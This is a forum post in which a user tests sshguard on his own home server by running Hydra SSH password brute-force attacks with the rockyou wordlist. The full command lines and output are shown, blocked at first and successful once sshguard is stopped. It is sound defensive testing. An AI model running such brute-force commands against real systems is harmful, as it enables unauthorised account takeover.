@eeyore
installed the sshguard on the newish server.
edited configuration as you advised
mike@eiremedia:~$ sudo systemctl status sshguard
[sudo] password for mike:
● sshguard.service - SSHGuard
Loaded: loaded (/usr/lib/systemd/system/sshguard.service; enabled; preset: enabled)
Active: active (running) since Wed 2025-03-19 17:32:56 UTC; 32s ago
Docs: man:sshguard(8)
Process: 772 ExecStartPre=/usr/sbin/nft add table ip sshguard (code=exited, status=0/SUCCESS)
Process: 835 ExecStartPre=/usr/sbin/nft add table ip6 sshguard (code=exited, status=0/SUCCESS)
Main PID: 843 (sshguard)
Tasks: 8 (limit: 38284)
Memory: 28.9M (peak: 30.0M)
CPU: 54ms
CGroup: /system.slice/sshguard.service
├─843 /bin/sh /usr/sbin/sshguard
├─848 /bin/sh /usr/sbin/sshguard
├─849 /bin/sh /usr/sbin/sshguard
├─850 /usr/libexec/sshguard/sshg-blocker -a 30 -p 120 -s 1800 -w /etc/sshguard/whitelist
├─851 journalctl -afb -p info -n1 -t sshd -o cat
├─852 /usr/libexec/sshguard/sshg-parser
└─853 /bin/sh /usr/libexec/sshguard/sshg-fw-nft-sets
Mar 19 17:32:56 eiremedia systemd[1]: Starting sshguard.service - SSHGuard...
Mar 19 17:32:56 eiremedia systemd[1]: Started sshguard.service - SSHGuard.
Mar 19 17:32:56 eiremedia sshguard[850]: Now monitoring attacks.
now the login password is 6 characters lowercase alpha…
I’ll do the assumption that the SSH login is compromised in the attack using Kali-linux Hydra (even though any Linux system with the hydra package will probably perform the same)…
I have started the attack
and add to / edit this post on the results
2025-03-19T05:00:00Z
well that was quicker than I expected
I thought that Hydra would get just a bit further before being shutdown
──(root㉿Blacktrain)-[/home/mike]
└─# hydra -l mike -P /usr/share/wordlists/rockyou.txt -t 4 192.168.*.* ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-19 12:51:33
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.68.60:22/
[STATUS] 12.00 tries/min, 12 tries in 00:01h, 14344387 to do in 19922:46h, 4 active
[STATUS] 6.67 tries/min, 20 tries in 00:03h, 14344379 to do in 35860:57h, 4 active
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-19 12:55:21
┌──(root㉿Blacktrain)-[/home/mike]
└─# hydra -l mike -P /usr/share/wordlists/rockyou.txt -t 4 192.168.6*.* ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-19 12:58:47
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.*.*:22/
[ERROR] could not connect to ssh://192.168.*.*:22 - Timeout connecting to 192.168.*.*
┌──(root㉿Blacktrain)-[/home/mike]
On the second attack it’s pretty clear that sshguard has blacklisted the Kali system…
now to demonstrate without sshguard I’ll stop the service and attack again for those whom might be viewing. And have not participated in the discussion again I’ll edit this post when I get results
whih should be in approx 2 hours from now … maybe… (provided the blacklist is lifted once sshguard is stopped)
From the Server side (reasoning is to show that the syntax is somewhat correct from the Hydra side, and can be successful without ssh guard running)
mike@eiremedia:~$ sudo systemctl status sshguard
× sshguard.service - SSHGuard
Loaded: loaded (/usr/lib/systemd/system/sshguard.service; enabled; preset: enabled)
Active: failed (Result: exit-code) since Wed 2025-03-19 18:09:02 UTC; 20s ago
Duration: 36min 5.707s
Docs: man:sshguard(8)
Process: 772 ExecStartPre=/usr/sbin/nft add table ip sshguard (code=exited, status=0/SUCCESS)
Process: 835 ExecStartPre=/usr/sbin/nft add table ip6 sshguard (code=exited, status=0/SUCCESS)
Process: 843 ExecStart=/usr/sbin/sshguard (code=exited, status=143)
Process: 1353 ExecStopPost=/usr/sbin/nft delete table ip sshguard (code=exited, status=1/FAILURE)
Process: 1359 ExecStopPost=/usr/sbin/nft delete table ip6 sshguard (code=exited, status=1/FAILURE)
Main PID: 843 (code=exited, status=143)
CPU: 118ms
Mar 19 18:09:02 eiremedia systemd[1]: Stopping sshguard.service - SSHGuard...
Mar 19 18:09:02 eiremedia systemd[1]: sshguard.service: Main process exited, code=exited, status=143/>
Mar 19 18:09:02 eiremedia nft[1353]: Error: No such file or directory; did you mean table ‘sshguard’ >
Mar 19 18:09:02 eiremedia nft[1353]: delete table ip sshguard
Mar 19 18:09:02 eiremedia nft[1353]: ^^^^^^^^
Mar 19 18:09:02 eiremedia nft[1359]: Error: Could not process rule: No such file or directory
Mar 19 18:09:02 eiremedia nft[1359]: delete table ip6 sshguard
Mar 19 18:09:02 eiremedia nft[1359]: ^^^^^^^^
Mar 19 18:09:02 eiremedia systemd[1]: sshguard.service: Failed with result 'exit-code'.
Mar 19 18:09:02 eiremedia systemd[1]: Stopped sshguard.service - SSHGuard.
as we can see services have stopped and now un protected
2025-03-19T05:00:00Z
@eeyore
success with sshguard disabled.
hydra -l mike -P /usr/share/wordlists/rockyou.txt -t 4 192.168.6*.* ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-19 13:10:09
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.6*.*:22/
[STATUS] 68.00 tries/min, 68 tries in 00:01h, 14344331 to do in 3515:47h, 4 active
[STATUS] 66.67 tries/min, 200 tries in 00:03h, 14344199 to do in 3586:03h, 4 active
[STATUS] 63.71 tries/min, 446 tries in 00:07h, 14343953 to do in 3752:10h, 4 active
[STATUS] 64.13 tries/min, 962 tries in 00:15h, 14343437 to do in 3727:31h, 4 active
[STATUS] 63.87 tries/min, 1980 tries in 00:31h, 14342419 to do in 3742:34h, 4 active
[STATUS] 64.09 tries/min, 3012 tries in 00:47h, 14341387 to do in 3729:47h, 4 active
[STATUS] 64.59 tries/min, 4069 tries in 01:03h, 14340330 to do in 3700:31h, 4 active
[STATUS] 64.41 tries/min, 5088 tries in 01:19h, 14339311 to do in 3710:43h, 4 active
[STATUS] 64.38 tries/min, 6116 tries in 01:35h, 14338283 to do in 3711:57h, 4 active
[STATUS] 64.20 tries/min, 7126 tries in 01:51h, 14337273 to do in 3722:09h, 4 active
[STATUS] 64.14 tries/min, 8146 tries in 02:07h, 14336253 to do in 3725:09h, 4 active
[STATUS] 64.11 tries/min, 9168 tries in 02:23h, 14335231 to do in 3726:38h, 4 active
[22][ssh] host: 192.168.68.60 login: mike password: ******
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-19 15:34:09
one other note is I do Have cockpit running on the media server so yes I could see thousands of unsuccessful log-in attempts.
One thought is if I had enabled notification of XXX number of unsuccessful attempts I could have either enabled sshguard or simply changed the password…
Provided that I was monitoring and up not sleeping.
I let those looking this over decide for themselves if the system strain of sshguard is worthwhile or not.
But bear in mind Hydra is not limited to ssh attempts it was just one method I chose to do the attack I could have as well went
telnet, FTP, HTTP, HTTPS, SMB, databases just to name a few depending on what open ports a nmap scan uncovered (which honestly I busted the encrypted host ssh key on the server before the ssh attack, as well as the MAC addresses of every system connected. which is another exploit).
The reality is that even if sshguard stopped the ssh attack and stayed active I could have easily shifted to another service to exploit. Of course that is provided if the ports was open. If only port 22 is open yeah works great. Couple that with disabling wifi access , systems with only ports opened that are absolutely required is a great start which is why my former employer always did just that.